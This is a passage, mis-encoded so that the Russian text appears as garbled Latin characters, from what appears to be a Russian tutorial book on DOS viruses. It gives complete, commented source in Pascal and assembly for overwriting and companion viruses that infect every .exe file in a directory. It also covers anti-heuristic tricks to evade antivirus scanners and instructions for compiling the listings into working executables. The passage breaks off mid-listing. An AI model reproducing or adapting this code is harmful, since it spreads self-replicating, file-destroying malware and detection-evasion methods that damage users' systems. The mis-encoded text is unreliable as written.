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DOS âèðóñû

Ìåòîäû ðàçìíîæåíèÿ âèðóñîâ

Ãëàâà 1
Ïðîñòåéøèå overwriter âèðóñû

Ðàññìîòðèì âèðóñû òèïà overwriter, ÷òî îçíà÷àåò «ïåðåçàïèñûâàþùèé». Íà
íàñòîÿùèé ìîìåíò òàêèå âèðóñû ñîõðàíèëèñü êàê ñîðåâíîâàíèå íà ñàìûé ìà-
ëåíüêèé âèðóñ, è ñåé÷àñ ïåðâåíñòâî óäåðæèâàåò âèðóñ ðàçìåðîì âñåãî â 4 áàéòà
ïîä íàçâàíèåì kyjack. Ïðè çàïóñêå îí çàïèñûâàåò ñåáÿ íà âñå ñåêòîðà äèñêåòû.
Âîò ýòè 4 áàéòà: 8B DE CD 261.

Íà êàêèõ æå ÿçûêàõ ïðîãðàììèðîâàíèÿ ïèøóò âèðóñû, ñïðîñèòå âû, à ÿ îò-
âå÷ó — íà ëþáûõ, íî â îñíîâíîì ïðåäïî÷èòàþò Àññåìáëåð, ïî÷åìó — ñåé÷àñ
ìû è ðàçáåðåìñÿ.

Âîçüìåì äëÿ ïðèìåðà ïðîñòåéøèé âèðóñ íà Ïàñêàëå, êîòîðûé ÿ íàïèñàë â
äàëåêîì 1999 ã., òàêæå îòíîñÿùèéñÿ ê òèïó overwriter.

Ðàññìîòðèì ïðèíöèï åãî ðàáîòû.
1. Íàéòè ôàéë-æåðòâó â òåêóùåì êàòàëîãå.
2. Ïåðåïèñàòü ñâîå òåëî â ôàéë-æåðòâó (ôàéë-æåðòâà ïðè ýòîì ïåðåçàïèñû-

âàåòñÿ).
3. Âûâåñòè ñîîáùåíèå î òîì, êòî ìû.
4. Ïåðåõîäèì íà ïóíêò 1, ïîêà 250 ôàéëîâ íå áóäóò çàðàæåíû.
Äàííûé âèðóñ àíòèâèðóñàìè íå îáíàðóæèâàåòñÿ ïî ïðè÷èíå èñïîëüçîâàíèÿ

êîìïèëÿòîðà ôèðìû Borland. Ïî ñëîâàì íåêîòîðûõ ñïåöèàëèñòîâ, ýòî ñàìûé
ëó÷øèé àíòèýâðèñòè÷åñêèé ïðèåì.

Ñëåäóåò ðàññìîòðåòü, êàê âûãëÿäèò ôàéë äî èíôèöèðîâàíèÿ è ïîñëå:
à) äî èíôèöèðîâàíèÿ:

á) ïîñëå èíôèöèðîâàíèÿ:

1 Äàííûå ÷åòûðå áàéòà ñîîòâåòñòâóþò êîìàíäàì àññåìáëåðà mov bx,si / int 26h — Ïðèì.
ðåä.



Âîò ñàì ëèñòèíã:

{---------------------------------------------}

program overwriter;

uses dos;

const

virlen=3872; {Äëèíà âèðóñà â áàéòàõ}

type

mas=array[1..250] of string; {Ìàññèâ äëÿ õðàíåíèÿ èìåí ôàéëîâ}

var

n,i:integer;

d:mas;

{---------------------------------------------}

procedure find(var ff:mas;var kol:integer); {Ïðîöåäóðà ïîèñêà ôàéëîâ ñðàçó âñåõ}

var

dirinfo:searchrec;

begin

findfirst('*.exe',$3F,dirinfo); {DOS ôóíêöèÿ findfirst}

ff[1]:=dirinfo.name;

kol:=1;

i:=2;

while i<=250 do

begin

findnext(dirinfo); {DOS ôóíêöèÿ findnext}

ff[i]:=dirinfo.name;

if ff[i]=ff[i-1] {Åñëè ïðåäûäóùèé ôàéë ðàâåí}

then begin

ff[i]:=''; {ñëåäóþùåìó, çíà÷èò, ôàéëû êîí÷èëèñü}

break;

end;

kol:=kol+1;

i:=i+1;

end;

end;

{---------------------------------------------}

procedure infect(var filename:string);

var

f,f2:text;

i:integer;

a:char;

begin

assign(f,paramstr(0)); {ñâÿçûâàåì îäíó ôàéëîâóþ ïåðåìåííóþ ñ ñîáîé}

assign(f2,filename); {à äðóãóþ ñ æåðòâîé}

reset(f); {îòêðûâàåì ñåáÿ íà ÷òåíèå}

rewrite(f2); {à æåðòâó íà çàïèñü}

for i:=1 to virlen do

begin

read(f,a); {ïîáàéòíî êîïèðóåì ñåáÿ}

write(f2,a); {â ôàéë-æåðòâó}

end;

close(f2); {çàêðûâàåì}

close(f); {ôàéëû}

end;
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{---------------------------------------------}

begin

find(d,n); {èùåì ôàéëû}

for i:=1 to n do

begin

if pos(d[i],paramstr(0))=0 {ñàìè ñåáÿ íå çàðàæàåì}

then infect(d[i]); {çàðàæàåì íàéäåííûå ôàéëû}

end;

write('[SimPl3 0w3rwrit3 ViRuS] (C)Copyright Sl0n,1999');{ïðåäñòàâëÿåìñÿ}

readln; {æäåì íàæàòèÿ êíîïêè è óõîäèì}

end.

{---------------------------------------------}

ßçûê ïðîãðàììèðîâàíèÿ Ïàñêàëü î÷åíü ïðîñò äëÿ ïîíèìàíèÿ, ïîýòîìó ÿ
ñåé÷àñ îáüÿñíþ òîëüêî ñìûñë ðàáîòû âèðóñíîé ïðîãðàììû, íå âäàâàÿñü â îïèñà-
íèå êàæäîé ôóíêöèè (îíè è òàê ïîäðîáíî ïðîêîììåíòèðîâàíû).

Ïåðâîå, ÷òî ïðîãðàììà äåëàåò — çàïóñêàåò ïðîöåäóðó ïîèñêà (find()). Â êà-
÷åñòâå ïàðàìåòðîâ ïðîöåäóðå íóæíî ïåðåäàòü ìàññèâ ñòðîê è öåëî÷èñëåííóþ
ïåðåìåííóþ. Äàííàÿ ïðîöåäóðà âîçâðàùàåò çàïîëíåííûé ìàññèâ ñòðîê è èçìå-
íåííóþ ïåðåìåííóþ ñ êîëè÷åñòâîì íàéäåííûõ ôàéëîâ (èõ èìåíà õðàíÿòñÿ â
ñòðîêîâîì ìàññèâå). Çàòåì èäåò áåçóñëîâíûé öèêë ïî êîëè÷åñòâó íàéäåííûõ
ôàéëîâ, è ïåðåä çàðàæåíèåì êàæäûé ôàéë ïðîâåðÿåòñÿ íà òî, ÷òîáû åãî èìÿ íå
ñîâïàäàëî ñ èìåíåì âèðóñíîé ïðîãðàììû. Åñëè ñîâïàäàåò, òî ñàìè ñåáÿ ìû íå
çàðàæàåì. Çàðàæåíèå ïðîèñõîäèò ïîñðåäñòâîì âûçîâà ïðîöåäóðû èíôèöèðîâà-
íèÿ (infect()), êîòîðàÿ ïîáàéòíî êîïèðóåò ôàéë-âèðóñ â ôàéë-æåðòâó. Â êîíöå
âûâîäèòñÿ ñîîáùåíèå (îáû÷íî íàçâàíèå âèðóñà è èìÿ àâòîðà), è ïîñëå íàæàòèÿ
êëàâèøè ïðîãðàììà çàâåðøàåòñÿ.

Èòàê, â ðåçóëüòàòå ìû ïîëó÷èëè ïðîãðàììó ïî÷òè â 4 Êá2, è ïî÷òè íà
2 ñòðàíèöû èñõîäíîãî òåêñòà.

Òåïåðü ïîñìîòðèì íà àíàëîãè÷íûé âèðóñ, âûïîëíåííûé íà Àññåìáëåðå.
Ñìûñë è ìåòîäèêà åãî ðàáîòû òå æå.

Ñëåäóåò ðàññìîòðåòü, êàê âûãëÿäèò ôàéë äî èíôèöèðîâàíèÿ è ïîñëå:
à) äî èíôèöèðîâàíèÿ:

á) ïîñëå èíôèöèðîâàíèÿ:
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Âîò ëèñòèíã:

;----------------------------------------------

cseg segment

assume cs:cseg,ds:cseg

org 100h

start:

mov ah,09h ;

lea dx,msg ; Èòàê, ïðåäñòàâèìñÿ

int 21h ;

mov ah,4eh ; DOS-ôóíêöèÿ "íàéòè ïåðâûé ôàéë"

find:

db 068h ; ýòî àíòèýâðèñòè÷åñêèé

dw OFFSET @avp ; ïðèåì,

ret ; âçÿòûé ìíîé èç âèðóñíîãî æóðíàëà

pop ax ; Infected Voice

@avp: ;

lea dx,file1 ; ìàñêà ôàéëà äëÿ ïîèñêà

int 21h ; íàéòè ïåðâûé ôàéë

infect:

mov ax,3d01h ;

mov dx,09Eh ; îòêðîåì åãî íà çàïèñü

int 21h ;

xchg ax,bx ; õýíäë ôàéëà â bx

mov ah,40h ; áóäåì çàïèñûâàòü

mov cl,89 ; ñêîëüêî áàéò áóäåì çàïèñûâàòü [íàøà äëèíà]

mov dx,100h ; ñ êàêîé ïîçèöèè? Ñ íà÷àëà, êîíå÷íî

int 21h ; ïèñàòü ñåé÷àñ !

mov ah,3eh ; çàêðîåì ôàéë

int 21h ;

mov ah,4Fh ; íàéäåì íîâûé

int 21h ;

jnc infect ; è çàðàçèì

int 20h ; êîíåö

file1 db '*.exe',0

msg db '[+ sImPl3 0w3rwRit3 cHUm4 2.0 +] by s10n$'

cseg ends

end start

;----------------------------------------------

ßçûê Àññåìáëåðà áîëåå ñëîæåí äëÿ ïîíèìàíèÿ, ÷åì Ïàñêàëü, ïîýòîìó ìû
âòîðîé âèðóñ ðàññìîòðèì áîëåå ïîäðîáíî.

Íà÷íåì ñ ïåðâîãî áëîêà èíñòðóêöèé:

;----------------------------------------------

mov ah,09h ;

lea dx,msg ; Èòàê ïðåäñòàâèìñÿ

int 21h ;

;----------------------------------------------

Äàííûé áëîê èíñòðóêöèé âûâîäèò íà ýêðàí òåêñòîâîå ñîîáùåíèå:

"[+ sImPl3 0w3rwRit3 cHUm4 2.0 +] by s10n"
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Ïåðâàÿ èíñòðóêöèÿ «mov ah,09h» ãîâîðèò î òîì, ÷òî áóäåò èñïîëüçîâàòüñÿ
9 ôóíêöèÿ 21 ïðåðûâàíèÿ (int 21h) — âûâîä íà ýêðàí. Â âåðõíèé áàéò ðåãèñòðà
ax ïîìåùàåòñÿ çíà÷åíèå 9. Âòîðàÿ èíñòðóêöèÿ «lea dx,msg» ãîâîðèò î òîì, êà-
êîå ñîîáùåíèå âûâîäèì (â êîíöå ñèìâîëüíîé ñòðîêè äîëæåí ïðèñóòñòâîâàòü
«$» — ñèìâîë êîíöà ñòðîêè). Â ðåãèñòð dx ïîìåùàåòñÿ ñìåùåíèå ñèìâîëüíîé
ñòðîêè msg. Òðåòüÿ èíñòðóêöèÿ «int 21h» íåïîñðåäñòâåííî âûçûâàåò 21 ïðåðû-
âàíèå.

Ðàññìîòðèì âòîðîé áëîê3:

;----------------------------------------------

mov ah,4eh ; DOS-ôóíêöèÿ "íàéòè ïåðâûé ôàéë"

find:

db 068h ; ýòî àíòèýâðèñòè÷åñêèé !!!

dw OFFSET @avp ; ïðèåì, !!!

ret ; âçÿòûé ìíîé èç âèðóñíîãî æóðíàëà !!!

pop ax ; Infected Voice !!!

@avp: ;

lea dx,file1 ; ìàñêà ôàéëà äëÿ ïîèñêà

int 21h ; íàéòè ïåðâûé ôàéë

;----------------------------------------------

Äàííûé áëîê èíñòðóêöèé çàíèìàåòñÿ ïîèñêîì ôàéëîâ (àíòèýâðèñòè÷åñêèé
ïðèåì, îòìå÷åííûé âîñêëèöàòåëüíûìè çíàêàìè, ïîêà ðàññìàòðèâàòü íå áóäåì).

Ïåðâàÿ èíñòðóêöèÿ «mov ah,4eh» — DOS-ôóíêöèÿ «íàéòè ïåðâûé ôàéë».
Âòîðàÿ èíñòðóêöèÿ «lea dx,file1» — â ðåãèñòð dx ïîìåùàåòñÿ ñìåùåíèå ìàñêè
ïîèñêà ôàéëîâ (file1), ò. å. çàðàæàòü òîëüêî *.exe ôàéëû (ìàñêà äîëæíà çàêàí÷è-
âàòüñÿ íóëåâûì áàéòîì). Òðåòüÿ èíñòðóêöèÿ «int 21h» íåïîñðåäñòâåííî âûçûâà-
åò 21 ïðåðûâàíèå.

Ïåðåéäåì ê òðåòüåìó áëîêó:

;----------------------------------------------

mov ax,3d01h ;

mov dx,09Eh ; îòêðîåì åãî íà çàïèñü

int 21h ;

;----------------------------------------------

Äàííûé áëîê èíñòðóêöèé çàíèìàåòñÿ îòêðûòèåì íàéäåííîãî ôàéëà (â ðåæè-
ìå çàïèñè).

Ïåðâàÿ èíñòðóêöèÿ «mov ax,3d01h» — DOS-ôóíêöèÿ «îòêðûòü ôàéë â ðå-
æèìå çàïèñè». Âòîðàÿ èíñòðóêöèÿ «mov dx,09eh» — êàêîé ôàéë îòêðûâàåì?
Íàéäåííûé. Òðåòüÿ èíñòðóêöèÿ «int 21h» íåïîñðåäñòâåííî âûçûâàåò 21 ïðåðû-
âàíèå.

Ðàññìîòðèì ÷åòâåðòûé áëîê:

;----------------------------------------------

xchg ax,bx ; õýíäë ôàéëà â bx

mov ah,40h ; áóäåì çàïèñûâàòü

mov cl,89 ; ñêîëüêî áàéò áóäåì çàïèñûâàòü [íàøà äëèíà]
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mov dx,100h ; ñ êàêîé ïîçèöèè? Ñ íà÷àëà, êîíå÷íî

int 21h ; ïèñàòü ñåé÷àñ !

;----------------------------------------------

Äàííûé áëîê èíñòðóêöèé íåïîñðåäñòâåííî ïåðåïèñûâàåò âèðóñ â
ôàéë-æåðòâó.

Ïåðâàÿ èíñòðóêöèÿ «xchg ax,bx» — ïîñëå îòêðûòèÿ ôàéëà õýíäë ôàéëà îñ-
òàëñÿ â ðåãèñòðå ax, äëÿ òîãî ÷òîáû çàïèñûâàòü â ýòîò ôàéë, íóæíî õýíäë ïåðå-
íåñòè â bx (îïåðàöèÿ «xchg ax,bx» îáìåíèâàåò ñîäåðæèìîå ðåãèñòðîâ ax è bx).
Âòîðàÿ èíñòðóêöèÿ «mov ah,40h» — DOS-ôóíêöèÿ çàïèñûâàòü â ôàéë. Òðåòüÿ
èíñòðóêöèÿ «mov cl,89» — ñêîëüêî áàéò áóäåì çàïèñûâàòü (äëèíà âèðóñà
89 áàéò). ×åòâåðòàÿ èíñòðóêöèÿ «mov dx,100h» ãîâîðèò î òîì, ÷òî áóäåì ïåðåïè-
ñûâàòü ñ íà÷àëà âèðóñà (âèðóñ íà÷èíàåòñÿ ñî 100h). Ïÿòàÿ èíñòðóêöèÿ «int 21h»
íåïîñðåäñòâåííî âûçûâàåò 21 ïðåðûâàíèå.

Òåïåðü ïÿòûé áëîê:

;----------------------------------------------

mov ah,3eh ; çàêðîåì ôàéë

int 21h ;

;----------------------------------------------

Äàííûé áëîê çàêðûâàåò ôàéë ïîñëå çàïèñè.
Ïåðâàÿ èíñòðóêöèÿ «mov ah,3eh» — DOS-ôóíêöèÿ «çàêðûòü ôàéë». Âòîðàÿ

èíñòðóêöèÿ «int 21h» íåïîñðåäñòâåííî âûçûâàåò 21 ïðåðûâàíèå.
Ïåðåéäåì ê øåñòîìó:

;----------------------------------------------

mov ah,4Fh ; íàéäåì íîâûé

int 21h ;

jnc infect ; è çàðàçèì

;----------------------------------------------

Äàííûé áëîê çàíèìàåòñÿ ïîèñêîì íîâîãî ôàéëà.
Ïåðâàÿ èíñòðóêöèÿ «mov ah,4fh» — DOS-ôóíêöèÿ «íàéòè ñëåäóþùèé

ôàéë». Âòîðàÿ èíñòðóêöèÿ «int 21h» íåïîñðåäñòâåííî âûçûâàåò 21 ïðåðûâàíèå.
Òðåòüÿ èíñòðóêöèÿ «jnc infect» — ýòî ïðîâåðêà: åñëè ôàéë íàéäåí, ïåðåéòè ê
åãî çàðàæåíèþ, íà ìåòêó infect.

È ïîñëåäíèé, ñåäüìîé áëîê:

;----------------------------------------------

int 20h ;êîíåö

;----------------------------------------------

Ïåðâàÿ èíñòðóêöèÿ «int 20h» çàâåðøàåò ðàáîòó ïðîãðàììû, âîçâðàùàÿ
óïðàâëåíèå ÎÑ.

Äàííûé âèðóñ íåêîòîðûìè àíòèâèðóñàìè íå îáíàðóæèâàåòñÿ èç-çà àíòèýâ-
ðèñòè÷åñêîãî ïðèåìà. Ïîñëå êîìïîíîâêè åãî îáúåì ñîñòàâëÿåò 89 áàéò. Íåïëîõî
ïî ñðàâíåíèþ ñ 4 Êá? Äà è èñõîäíîãî òåêñòà â íåì ïîìåíüøå. Òåïåðü, ÿ äóìàþ,
âàì ïîíÿòíî, ïî÷åìó â îñíîâíîì äëÿ íàïèñàíèÿ âèðóñîâ èñïîëüçóþò ÿçûê Àñ-
ñåìáëåðà.
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×òîáû ïðèâåñòè ýòè ëèñòèíãè â ðàáî÷åå ñîñòîÿíèå, íåîáõîäèìî ñäåëàòü ñëå-
äóþùåå:

1) äëÿ âèðóñà íà Ïàñêàëå ñîõðàíèòü âèðóñ â ôàéë ñ ðàñøèðåíèåì *.pas, îò-
êðûòü ëèñòèíã â îáîëî÷êå Ïàñêàëÿ è íàæàòü F9, ïîñëå ýòîãî â òîé äèðåêòîðèè,
ãäå ëåæàë ëèñòèíã, ïîÿâèòñÿ åùå è èñïîëíèìûé ôàéë;

2) äëÿ âèðóñà íà Àññåìáëåðå ñîõðàíèòü â ôàéë ñ ðàñøèðåíèåì *.asm, çàòåì
âûïîëíèòü èç êîìàíäíîé ñòðîêè:

tasm vir.asm

tlink vir.obj /t

Ïîñëå ýòîãî ïîÿâèòñÿ ôàéë vir.com, êîòîðûé ìîæíî ïåðåèìåíîâàòü â
vir.exe4 èëè íå ïåðåèìåíîâûâàòü, à ïðÿìî òàê è èñïîëüçîâàòü.

Áîðüáà ñ âèðóñàìè äàííîãî òèïà î÷åíü ïðîñòà: äîñòàòî÷íî âûäåëèòü ïî ìàñ-
êå âèðóñ (åñëè îí íå ïîëèìîðôíûé) è óäàëèòü ôàéë. Ïîñëå èíôèöèðîâàíèÿ ïðî-
ãðàììà, êîòîðàÿ çàðàæåíà, âîññòàíîâëåíèþ íå ïîäëåæèò, ïîýòîìó èíôèöèðîâàí-
íûå ïðîãðàììû ïðîñòî óäàëÿþòñÿ.

Àëãîðèòì àíòèâèðóñà:
1) îáíàðóæèòü èíôèöèðîâàííóþ ïðîãðàììó;
2) óäàëèòü èíôèöèðîâàííóþ ïðîãðàììó.
Íàïèñàíèå àíòèâèðóñíîé ïðîãðàììû îñòàíåòñÿ íà ñîâåñòè ÷èòàòåëåé.

Ãëàâà 2
Ïðîñòåéøèå companion-âèðóñû

Èòàê, ìû ïîäîøëè ê âèðóñàì-êîìïàíüîíàì. ×òî æå ýòî òàêîå? Äàâàéòå ðàç-
áåðåìñÿ... Äàííûå âèðóñû äåéñòâóþò â îñíîâíîì ïî ñëåäóþùåìó àëãîðèòìó.

1. Íàõîäÿò èñïîëíèìûé ôàéë, åñëè áûòü áîëåå êîíêðåòíûì, òî *.exe
(example.exe).

2. Êîïèðóþò ñåáÿ â *.com ôàéë ñ àíàëîãè÷íûì èìåíåì (example.com).
3. Âûïîëíÿþò êàêèå-òî äåéñòâèÿ (ôîðìàòèðîâàíèå âèí÷åñòåðà, ...).
4. Çàïóñêàþò ïðîãðàììó iam.exe, åñëè ñàì âèðóñ íàõîäèòñÿ â iam.com.
Ñìûñë äàííûõ äåéñòâèé áóäåò ïîíÿòåí òåì ëþäÿì, êîòîðûå õîðîøî çíàþò

DOS. Âîò åñëè ÷åëîâåê õî÷åò çàïóñòèòü â DOS ïðîãðàììó hello.exe, îí íàáèðàåò
â ïðèãëàøåíèè «c:\hello», òîãäà DOS çàïóñêàåò hello.exe, åñëè äðóãèõ ôàéëîâ ñ
àíàëîãè÷íûì èìåíåì è îòëè÷íûì ðàñøèðåíèåì íåò (òàêèõ êàê hello.bat,
hello.com). Åñëè æå åñòü hello.bat, òî çàïóñêàåòñÿ îí, à åñëè hello.bat îòñóòñòâó-
åò, à åñòü hello.com, òî âûïîëíÿåòñÿ îí. Íà èñïîëüçîâàíèè ýòîãî ôàêòà è îñíî-
âàí äàííûé âèðóñ.

Âîîáùå ýòîò âèä âèðóñîâ, êàê è overwriter, ñåáÿ äàâíî èçæèë è ñåé÷àñ ïðàê-
òè÷åñêè íèãäå íå âñòðå÷àåòñÿ.

Ñóùåñòâóþò áîëåå ñëîæíûå êîìïàíüîí-âèðóñû, êîòîðûå, ê ïðèìåðó, åùå
øèôðóþò èñïîëíèìûé ôàéë îðèãèíàëüíîé ïðîãðàììû, à ïðè çàïóñêå âèðóñà ðàñ-
øèôðîâûâàþò è èñïîëíÿþò åãî. Ýòî âñå äåëàåòñÿ äëÿ òîãî, ÷òîáû óñëîæíèòü ëå-
÷åíèå äàííîãî âèðóñà.
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Íî äàííûå âèðóñû, êàê óæå ãîâîðèëîñü ðàíåå, ñåáÿ èçæèëè, è ïîòîìó ìû
îñòàíîâèìñÿ íà èõ ïðîñòåéøåé ðåàëèçàöèè. Ýòè äâà âèðóñà ðàáîòàþò ïî àëãî-
ðèòìó, îïèñàííîìó â ñàìîì íà÷àëå äàííîé ÷àñòè.

Ñëåäóåò ðàññìîòðåòü, êàê âûãëÿäèò ôàéë äî èíôèöèðîâàíèÿ è ïîñëå:
à) äî èíôèöèðîâàíèÿ:

á) ïîñëå èíôèöèðîâàíèÿ:

Òåïåðü ðàññìîòðèì äâà ïðîêîììåíòèðîâàííûõ ëèñòèíãà êîìïàíüîí-âèðóñîâ.
Ïåðâûé — íà Ïàñêàëå:

{---------------------------------------------}

{$m,8192,0,0} {Âûäåëÿåì ïàìÿòü äëÿ DOS}

program test;

uses dos,crt; {èñïîëüçóåìûå áèáëîòåêè}

type

mas=array[1..250]of string; {Ìàññèâ äëÿ èìåí ôàéëîâ}

var

n,i:integer;

d:mas; {ïåðåìåííûå}

f:file;

{---------------------------------------------}

procedure find(var ff:mas;var kol:integer); {Ïðîöåäóðà ïîèñêà ñðàçó âñåõ ôàéëîâ}

var

dirinfo:searchrec;

begin

findfirst('*.exe',$3F,dirinfo); {DOS ôóíêöèÿ findfirst}

ff[1]:=dirinfo.name;

kol:=1;

while 1<2 do

begin

findnext(dirinfo); {DOS ôóíêöèÿ findnext}

ff[i]:=dirinfo.name;

if ff[i]=ff[i-1] {Åñëè ïðåäûäóùèé ôàéë ðàâåí}

then begin

ff[i]:=''; {ñëåäóþùåìó, çíà÷èò ôàéëû çàêîí÷èëèñü}

break;

end;

kol:=kol+1;

end;

end;
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{---------------------------------------------}

procedure copier(file1,file2:string); {ïðîöåäóðà êîïèðîâàíèÿ ôàéëîâ}

var {îñíîâàíà íà èñïîëüçîâàíèè êîìàíäû copy}

a:integer; {èç ñòàíäàðòíîãî ïàêåòà DOS}

begin

swapvectors; {Ìîæíî áûëî áû èñïîëüçîâàòü ïðîöåäóðó}

exec(getenv('COMSPEC'),'/C '+'copy '+file1+' '+file2);

swapvectors; {Èç ïðåäûäóùåãî âèðóñà}

end;

{---------------------------------------------}

function pr(file2:string):string; {Ôóíêöèÿ äëÿ}

begin

delete(file2,length(file2)-3,4); {Ïðåîáðàçîâàíèå èìåíè ôàéëà}

file2:=file2+'.com'; {Èç *.exe â *.com}

pr:=file2;

end;

{---------------------------------------------}

function pr2(file2:string):string; {Ôóíêöèÿ äëÿ}

begin

delete(file2,length(file2)-3,4); {Ïðåîáðàçîâàíèå èìåíè ôàéëà}

file2:=file2+'.exe'; {Èç *.com â *.exe}

pr2:=file2;

end;

{---------------------------------------------}

begin

find(d,n); {Èùåì *.exe ôàéëû}

for i:=1 to n do

begin

copier(paramstr(0),pr(d[i])); {ñîçäàåì àíàëîãè÷íûå *.com ôàéëû}

clrscr; {î÷èñòêà ýêðàíà}

end;

if pos('.exe',paramstr(0))<>0 {åñëè ýòî ïåðâûé çàïóñê èëè ÷òî-òî ñëó÷èëîñü}

then halt; {òîãäà óõîäèì}

swapvectors;

exec(pr2(paramstr(0)),paramstr(1)); {çàïóñêàåì îðèãèíàëüíóþ ïðîãðàììó}

swapvectors;

writeln;

writeln('=[SimPl3 C0mP4ni0n ViRuS]= by s10n '); {È âûâîäèì ñîîáùåíèå}

end.

{---------------------------------------------}

Äàâàéòå ðàññìîòðèì àëãîðèòì äàííîãî âèðóñà. Ïåðâàÿ ïðîöåäóðà — ýòî
find(), èäåíòè÷íàÿ òàêîé æå ïðîöåäóðå â îïèñàííîì ðàíåå âèðóñå. Âòîðàÿ ïðîöå-
äóðà — copier() — ïîëó÷àåò â êà÷åñòâå ïàðàìåòðîâ äâà èìåíè ôàéëà. Îíà êîïè-
ðóåò ïåðâûé ôàéë âî âòîðîé DOS-êîìàíäîé «copy file1 file2». Ïðîöåäóðà pr() ïî-
ëó÷àåò â êà÷åñòâå ïàðàìåòðà èìÿ ôàéëà, ê ïðèìåðó vasya.exe, è ïðåîáðàçîâûâàåò
ýòî èìÿ â *.com ôîðìàò. Ïîëó÷èòñÿ vasya.com. Ïðîöåäóðà pr2() èñïîëüçóåò â êà-
÷åñòâå ïàðàìåòðà èìÿ ôàéëà, íî ïðåîáðàçóåò â *.exe ôîðìàò.
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Òåïåðü ðàññìîòðèì îñíîâíîé àëãîðèòì ïðîãðàììû. Êàê è â ïðåäûäóùåì âè-
ðóñå (èìååòñÿ â âèäó âàðèàíò íà Ïàñêàëå), ñíà÷àëà èäåò ïîèñê ôàéëîâ *.exe. Çà-
òåì âèðóñ êîïèðóåòñÿ â ôàéëû ñ àíàëîãè÷íûì èìåíåì, íî äðóãèì ðàñøèðåíèåì
(*.com). Äàëåå èäåò ïðîâåðêà. Åñëè ìû ñòàðòîâàëè èç *.exe, òî çàâåðøàåì ïðî-
ãðàììó. Åñëè æå ìû ñòàðòîâàëè èç *.com ôàéëà, òî çàïóñêàåì ôàéë îðèãèíàëü-
íîé ïðîãðàììû (*.exe) è ïîñëå çàâåðøåíèÿ åãî ðàáîòû âûâîäèì ñîîáùåíèå (íà-
çâàíèå âèðóñà è èìÿ àâòîðà).

Òåïåðü îïèøåì àíàëîãè÷íûé âèðóñ, íî íà Àññåìáëåðå, êîòîðûé, åñòåñòâåí-
íî, ãîðàçäî ìåíüøå è ïðîùå, íî ðàáîòàåò ïî òîìó æå ïðèíöèïó. Äëÿ òîãî ÷òîáû
îí íîðìàëüíî ðàáîòàë, åãî íåîáõîäèìî ñîáðàòü â *.com ôàéë. Êàê ýòî ñäåëàòü,
áûëî ðàññêàçàíî â ïðåäûäóùåé ÷àñòè.

Ñëåäóåò ðàññìîòðåòü, êàê âûãëÿäèò ôàéë äî èíôèöèðîâàíèÿ è ïîñëå:
à) äî èíôèöèðîâàíèÿ:

á) ïîñëå èíôèöèðîâàíèÿ:

Âîò ëèñòèíã:

;----------------------------------------------

cseg segment

assume cs:cseg,ds:cseg,es:cseg

org 100h

start:

;----------------------------------------------

run:

lea bx,dta+30 ; Ñâÿæåì bx ñ èìåíåì ôàéëà

pov:

mov al,[bx] ; Çàãðóçèì â al ïåðâûé ñèìâîë èç bx

cmp al,'.' ; Ïðîâåðèì, òî÷êà ëè ýòî?

inc bx ; Ïåðåõîäèì ê ñëåäóþùåìó ñèìâîëó

je izm ; Åñëè äà, òî èäåì íà ìåòêó èçìåíåíèÿ ðàñøèðåíèÿ

jmp pov

izm:

mov al,'e' ; Ïîëîæèì ñèìâîë 'e' â al

mov [bx],al ; Ïîëîæèì â DTA ñèìâîë èç al

inc bx ; Ïåðåéäåì ê ñëåäóþùåìó ñèìâîëó

mov al,'x' ; Ïîëîæèì ñèìâîë 'x' â al

mov [bx],al ; Ïîëîæèì â DTA ñèìâîë èç al

inc bx ; Ïåðåéäåì ê ñëåäóþùåìó ñèìâîëó

mov al,'e' ; Ïîëîæèì ñèìâîë 'e' â al
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mov [bx],al ; Ïîëîæèì â DTA ñèìâîë èç al

; Ìû-òî çàïóñòèëèñü èç *.com ôàéëà, íî èçìåíèëè ñâîå

; ðàñøèðåíèå íà *.exe (ò. å. çàïóñòèì íàñòîÿùóþ ïðîãðàììó)

mov ah,4ah ; Âûäåëèì ïàìÿòè ïîáîëüøå

mov bx,5000h ; Äëÿ çàïóñêà îðèãèíàëüíîé ïðîãðàììû èç íàøåãî

int 21h ; äâîéíèêà

mov ah,4bh ;

mov al,00 ;

lea dx,dta+30 ; Çàïóñòèì íàñòîÿùóþ ïðîãðàììó

int 21h ;

;----------------------------------------------

mov ah,1ah ;

lea dx,dta ; Óêàçàòåëü íà íîâûé DTA

int 21h ;

mov ah,4eh ; Ôóíêöèÿ findfirst

lea dx,file1 ; Íàéäåì ïåðâûé *.exe

int 21h ;

infect:

lea bx,dta+30 ; Ñâÿæåì bx ñ èìåíåì ôàéëà

pov2:

mov al,[bx] ; Çàãðóçèì â al ïåðâûé ñèìâîë èç bx

cmp al,'.' ; Ïðîâåðèì, òî÷êà ëè ýòî?

inc bx ; Ïåðåõîäèì ê ñëåäóþùåìó ñèìâîëó

je izm2 ; Åñëè äà, òî èäåì íà ìåòêó èçìåíåíèÿ ðàñøèðåíèÿ

jmp pov2

izm2:

mov al,'c' ; Ïîëîæèì ñèìâîë 'c' â al

mov [bx],al ; Ïîëîæèì â DTA ñèìâîë èç al

inc bx ; Ïåðåéäåì ê ñëåäóþùåìó ñèìâîëó

mov al,'o' ; Ïîëîæèì ñèìâîë 'o' â al

mov [bx],al ; Ïîëîæèì â DTA, ñèìâîë èç al

inc bx ; Ïåðåéäåì ê ñëåäóþùåìó ñèìâîëó

mov al,'m' ; Ïîëîæèì ñèìâîë 'm' â al

mov [bx],al ; Ïîëîæèì â DTA, ñèìâîë èç al

;----------------------------------------------

mov ah,3ch ; Ôóíêöèÿ ñîçäàíèÿ ôàéëà-äâîéíèêà

lea dx,dta+30 ; Ò. å. ñ èäåíòè÷íûì èìåíåì, íî îòëè÷íûì ðàñøèðåíèåì

xor cx,cx ; Åñëè áûë íàéäåí hi.exe, òî ñîçäàäèì hi.com

int 21h ;

;----------------------------------------------

mov ax,3d02h ; Îòêðîåì òîëüêî ÷òî ñîçäàííûé ôàéë

lea dx,dta+30 ; Äëÿ ÷òåíèÿ/çàïèñè

int 21h ;

xchg ax,bx ; Ïîëîæèì â bx õýíäë ôàéëà

mov ah,40h ; Ôóíêöèÿ çàïèñè â ôàéë

int 1h ; Àíòèýâðèñòèêà - àíòèâèðóñû íàñ íå íàéäóò

mov cl,len ; Ïåðåïèøåì âåñü íàø âèðóñ ñ ñàìîãî íà÷àëà

mov dx,100h ; È äî êîíöà â ôàéë-äâîéíèê

int 21h ;

mov ah,4Fh ; Ôóíêöèÿ findnext
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int 21h ;

jnc infect ; Åñëè åùå ÷òî-òî åñòü, òî çàðàæàåì

exit:

mov ah,09h ; Âûâåäåì ñîîáùåíèå

